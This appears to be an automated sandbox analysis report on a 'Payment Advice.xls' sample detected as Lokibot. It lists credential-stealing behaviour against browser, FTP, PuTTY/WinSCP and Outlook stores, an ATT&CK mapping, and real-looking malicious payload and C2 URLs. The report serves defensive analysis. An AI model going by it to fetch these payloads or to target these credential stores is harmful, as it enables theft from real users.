Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match

File source: dump.pcap, type: PCAP

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001

Remote Access Functionality

Yara detected Lokibot

Source: Yara match

File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	23 Exploitation for Client Execution	121 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Browser Session Hijacking	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	121 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	11 Obfuscated Files or Information	1 Credentials in Registry	14 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	4 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Install Root Certificate	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payment Advice.xls	18%	ReversingLabs
Payment Advice.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
qrisni.me	188.114.97.3	true	false	unknown
drive.google.com	142.250.186.46	true	false	unknown
drive.usercontent.google.com	142.250.185.97	true	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta	true	unknown
http://94.156.177.220/logs/five/fre.php	true	unknown
http://192.3.176.141/42/logisticthingswithgoodthingsgivenbest.tIF	true	unknown
http://192.3.176.141/42/LOGLKI.txt	true	unknown
https://qrisni.me/8qnMUw?&italian=tough&bladder=wrathful&singer=juvenile&tugboat=nebulous&poignance=purple&twig=mature&constant=many&set=frightened&section	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://qrisni.me/	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004591000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.0000000000300000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004591000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htat=nebulous&	mshta.exe, 0000000B.00000003.482193000.00000000002B0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://qrisni.me/F	mshta.exe, 00000004.00000002.437120084.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.435304454.00000000001B1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434998134.00000000001B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/server1.crl0	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htaC:	mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489505745.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484670098.0000000004558000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482261681.0000000004557000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.485115130.0000000004558000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://qrisni.me/E	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.htacC:	mshta.exe, 00000004.00000002.438014891.000000000373A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.000000000373A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.435287605.000000000373A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.490599688.00000000120A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://192.3.176.141/42/logistic	powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/logisticthingswithgoodthingsgivenbest.tIFp	powershell.exe, 00000005.00000002.483382869.0000000002271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.497828214.00000000026A6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://192.3.176.141/42/ug/seethebestthingsevermeetwithgreatthingstobegood.hta...	mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487565897.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.484724170.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.482193000.00000000002CB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.488759413.00000000002CB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	mshta.exe, 00000004.00000003.435287605.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.438014891.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.434956506.00000000036F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000002.489443397.0000000004545000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000B.00000003.487305558.0000000004545000.00000004.00000020.00020000.00000000.sdmp	false		unknown
